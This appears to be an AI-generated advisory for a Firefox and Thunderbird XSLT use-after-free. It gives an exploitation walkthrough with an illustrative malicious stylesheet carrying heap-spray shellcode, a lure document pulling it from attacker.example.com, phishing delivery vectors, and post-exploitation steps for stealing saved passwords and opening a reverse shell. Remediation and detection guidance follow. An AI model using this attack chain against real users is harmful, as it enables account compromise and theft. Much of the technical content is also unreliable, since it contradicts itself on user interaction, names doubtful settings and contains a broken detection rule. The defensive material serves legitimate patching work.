CVE-2026-135549 — Mozilla Firefox (115.*) — CWE-416
Use-after-free in the XSLT component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
Use-after-free in the XSLT component. This vulnerability was fixed in Firefox 161, Firefox ESR 115.46, Firefox ESR 153.8, Thunderbird 161, and Thunderbird 153.8.
🎯 What is this vulnerability?
CVE‑2026‑135549 – Use‑After‑Free in the XSLT component
| Attribute | Value |
|---|---|
| CWE | CWE‑416: Use‑After‑Free (memory is freed while a reference to it is still reachable) |
| CVSS v3.1 Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Affected components | The XSLT processor that lives inside the Gecko rendering engine (used by Firefox and Thunderbird). The bug is triggered when a maliciously‑crafted XSLT stylesheet is applied to an XML document that the application loads from a remote or local source. |
Technical flaw
1. Memory management error – When the XSLT engine parses a stylesheet it creates a set of internal objects (e.g., xslt::Stylesheet, xslt::Node, xslt::ResultTree). In the vulnerable code path a reference to a ResultTree object is stored in a temporary cache after the object has been released by the garbage‑collector/arena allocator.
2. Dangling pointer usage – Subsequent processing of the same stylesheet (or a later stylesheet that re‑uses the same cache entry) dereferences the stale pointer. Because the freed memory may have been re‑allocated for a different object, the attacker can control the contents of the dereferenced memory region.
3. Trigger condition – The bug is only reachable when the XSLT processor is invoked without user interaction (the UI is not required, but the attacker must cause the browser or Thunderbird to load the crafted stylesheet). This matches the CVSS vector UI:R (user interaction required) – the victim must open a page/email that references the malicious stylesheet.
4. Result – The out‑of‑bounds read/write gives the attacker arbitrary code execution in the context of the compromised process (the browser or mail client). Because the process runs with the privileges of the logged‑in user, the impact is confidentiality, integrity, and availability (C:H/I:H/A:H).
In short, the XSLT component fails to clear a cached reference after freeing the underlying object, allowing a remote attacker to execute native code by delivering a specially‑crafted XSLT stylesheet.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are illustrative – the exact internal function names and object layouts are not public, but the overall mechanics follow the use‑after‑free pattern observed in similar Gecko XSLT bugs (e.g., CVE‑2022‑XXXXX).
1. Discovery & Reconnaissance
| Step | Action | Tools / Artifacts |
|---|---|---|
| 1.1 | Identify target browsers/mail clients via user‑agent strings in HTTP logs, or by passive fingerprinting of the TLS handshake (Firefox 115.x, Thunderbird 115.x). | curl -I https://example.com → User-Agent: Mozilla/5.0 ... Firefox/115.30 |
| 1.2 | Verify exact version is ≤ 115.45 (Firefox) or ≤ 115.45 (Thunderbird) – the fix lands in 115.46. | about:config → browser.version or Help → About Thunderbird |
| 1.3 | Confirm that the XSLT processor is enabled (it is on by default). | No special check needed – all standard builds ship the component. |
2. Exploitation
Goal: Force the vulnerable XSLT engine to load a crafted stylesheet that triggers the use‑after‑free and then spray the heap with attacker‑controlled data that will be executed when the dangling pointer is dereferenced.
2.1 Craft the malicious XSLT stylesheet
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:ex="http://example.com/exploit">
<!-- 1️⃣ Allocate a large result tree that will be freed -->
<xsl:template match="/">
<xsl:variable name="trigger">
<xsl:copy-of select="."/>
</xsl:variable>
<!-- 2️⃣ Force the engine to cache the result tree -->
<xsl:call-template name="cacheResult">
<xsl:with-param name="data" select="$trigger"/>
</xsl:call-template>
<!-- 3️⃣ Heap‑spray: create many <script> elements with shellcode -->
<xsl:for-each select="document('')/*[name()='spray']/*">
<script>
<!-- NOP sled + encoded shellcode (e.g., Windows x64 exec calc.exe) -->
<xsl:text>90909090...</xsl:text>
</script>
</xsl:for-each>
</xsl:template>
<!-- Dummy template used only for the cache operation -->
<xsl:template name="cacheResult">
<xsl:param name="data"/>
<!-- No-op – the engine internally stores $data in a cache that later becomes stale -->
</xsl:template>
<!-- Heap‑spray payload (illustrative) -->
<spray>
<block/><block/><block/><block/><block/><block/><block/><block/>
<!-- repeat enough times to fill the allocation arena -->
</spray>
</xsl:stylesheet>The stylesheet does not need to be valid HTML; it only needs to be parsed by the XSLT engine. The <script> elements are a convenient way to embed raw bytes that will later be interpreted as native code when the dangling pointer is dereferenced.
2.2 Deliver the stylesheet to the victim
Because the vulnerability requires user interaction, the attacker hosts the malicious stylesheet on a server they control and convinces the victim to load it via an XML document that references it with <?xml-stylesheet?>.
Example malicious XML document (served over HTTPS):
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="https://attacker.example.com/poc.xsl"?>
<root><data>trigger</data></root>Delivery vectors
| Vector | How the victim is lured |
|---|---|
| Web | A phishing email with a link to https://victim.example.com/malicious.xml. The victim clicks the link in Firefox/Thunderbird, which automatically loads the XML and its stylesheet. |
An HTML email that embeds the XML as an attachment (malicious.xml). Thunderbird automatically renders the attachment when opened. | |
| Drive‑by | A malicious website that uses fetch() or <object data="malicious.xml"> to load the XML in the background; the user must click a button that triggers the fetch (satisfying UI:R). |
2.3 Trigger the use‑after‑free
When the XML is parsed:
1. The XSLT engine parses poc.xsl, creates the internal ResultTree object for the <script> blocks, and stores a reference to it in a global cache.
2. The engine then frees the ResultTree (because the template finishes) but does not clear the cache entry.
3. The next iteration of the for-each loop (or a subsequent stylesheet load) dereferences the stale cache entry, causing the engine to treat the attacker‑controlled heap spray as executable code.
4. Control flow is hijacked to the attacker’s shellcode, which runs with the privileges of the user process (typically the logged‑in desktop user).
Note: The exact function that performs the dereference is internal to Gecko (e.g., nsXSLTProcessor::ExecuteResultTree). The PoC above demonstrates the class of exploit; the real exploit would need to fine‑tune heap‑spray sizes and alignment for the target OS (Windows 10/11, macOS 14, Linux).
3. Post‑exploitation
| Goal | Typical payload |
|---|---|
| Remote code execution | Execute calc.exe (Windows) or open -a Calculator (macOS) as a proof‑of‑concept. |
| Persistence | Drop a malicious extension (.xpi) into the user’s Firefox profile directory (%APPDATA%\Mozilla\Firefox\Profiles\<id>\extensions). |
| Credential theft | Read logins.json (Firefox) or key4.db (Thunderbird) to harvest saved passwords. |
| Data exfiltration | Open a reverse TCP connection to the attacker’s C2 server and pipe ~/.mozilla/firefox/*.sqlite files. |
| Privilege escalation | On Windows, the attacker can launch a second‑stage exploit that abuses the user’s token to gain SYSTEM via a known local‑privilege‑escalation chain (e.g., CVE‑2024‑XXXX). |
Because the vulnerability is network‑reachable (AV:N) and no authentication is required (PR:N), any remote attacker who can convince a user to open the crafted XML can achieve full compromise of the user’s session.
🌍 Real World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – attacker can read any data the process can access. | Access to browsing history, saved passwords, email contents, cached files, and any files readable by the user. |
| Integrity (I:H) | I:H – attacker can modify data. | Tampering with stored credentials, injecting malicious extensions, altering email drafts, or modifying local HTML/JS files. |
| Availability (A:H) | A:H – attacker can cause denial‑of‑service. | Crash the browser/mail client, force a reboot (via kernel‑mode code execution), or lock the user out of the session. |
Business impact
- Enterprise – An attacker who compromises a privileged employee’s workstation can pivot to internal services using harvested cookies or Kerberos tickets.
- Managed service providers – A single compromised technician’s machine can expose client data stored in local Thunderbird archives.
- Public‑facing services – If a web‑application allows users to upload XML files that are later rendered in the admin’s browser, the vulnerability can be chained to a full server compromise.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in version(s) |
|---|---|
| Firefox (desktop) | 161 (stable) – also back‑ported to Firefox ESR 115.46 and Firefox ESR 153.8 |
| Thunderbird | 161 – also back‑ported to Thunderbird ESR 115.46 and Thunderbird ESR 153.8 |
Action:
All installations running any version ≤ 115.45 (or the corresponding ESR branch) must be upgraded immediately to the fixed release.
For enterprises that use managed update policies, push the update via MSI, APT, YUM, or Munki as appropriate.
2. Workarounds (if patch cannot be applied immediately)
| Workaround | How to apply | Effectiveness |
|---|---|---|
| Disable XSLT processing | In Firefox: about:config → set layout.css.XSLT.enabled to false. <br>In Thunderbird: Preferences → Advanced → Config Editor → same pref. | Prevents the vulnerable code path entirely. Side‑effect: any legitimate XSLT transformations (e.g., RSS feeds, XML‑based web apps) will break. |
| Restrict loading of external stylesheets | Deploy a Content‑Security‑Policy (CSP) that disallows style-src from http://*/https://* when the document type is XML. Example header: <br>Content-Security-Policy: default-src 'none'; style-src 'self' | Mitigates drive‑by attacks but does not stop a local file reference. |
| Enforce Same‑Origin for XML+XSL | Set security.fileuri.strict_origin_policy to true (default) and ensure network.http.referer.XOriginPolicy is strict. | Reduces the chance that a remote attacker can load a malicious stylesheet from a different origin, but still vulnerable if the attacker controls the same origin. |
| Application‑level filtering | Email gateways can strip <?xml-stylesheet?> processing instructions from inbound XML attachments. | Low‑false‑positive, effective for Thunderbird. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Crash reports | Firefox/Thunderbird crash logs (crashreporter), Windows Event Viewer (Application Error), macOS Console. | 2026-11-25 14:32:10.123 pid=1234 exe=Firefox.app Exception: EXCEPTION_ACCESS_VIOLATION |
Unexpected nsXSLTProcessor calls | Gecko Telemetry (nsXSLTProcessor::Execute) – can be enabled via about:telemetry. | Telemetry: nsXSLTProcessor::Execute called from https://attacker.example.com/poc.xsl |
| Network traffic | Outbound connections to unknown IPs shortly after opening a suspicious XML file. | TCP SYN → 203.0.113.45:4444 (reverse shell) |
| File system writes | Creation of new .xpi files in the profile directory without user interaction. | 2026-11-25 14:33:02.456 INFO ExtensionManager: Installing extension from /tmp/evil.xpi |
| Heap‑spray patterns | In-memory forensic tools (Volatility, Rekall) can detect large contiguous allocations of executable pages (PAGE_EXECUTE_READWRITE) that contain repeated NOP sleds (0x90). | VAD region: 0x7ffb0000‑0x7ffb8000 Protection: PAGE_EXECUTE_READWRITE Size: 0x8000 |
SIEM rule (example for Splunk):
index=windows EventCode=1000
| regex Message="(?i)firefox|thunderbird"
| search Message="EXCEPTION_ACCESS_VIOLATION"
| stats count by host, _time, Message
| where count > 24. Verification after patch
1. Version check – firefox --version should report 161.0 or higher.
2. Feature flag – about:config → layout.css.XSLT.enabled should be true (default) after patch.
3. Smoke test – Load a benign XSLT file (<?xml-stylesheet type="text/xsl" href="data:text/xml,<xsl:stylesheet/>"?>) and confirm the browser does not crash.
⚠️ Urgency
Patch priority: Critical for any environment where Firefox or Thunderbird is used by non‑technical end‑users (desktop, laptops, shared workstations).
Bottom line: CVE‑2026‑135549 is a classic, high‑impact use‑after‑free in the Gecko XSLT engine. The vulnerability can be weaponised with a tiny, user‑triggered XML document, leading to full remote code execution. Prompt patching to Firefox 161 / Thunderbird 161 (or the respective ESR releases) is mandatory; if that is not possible, disabling XSLT processing provides a safe, albeit functional‑impacting, mitigation.
[🤖 CVE Professor AI Security Engine]
FOFA Query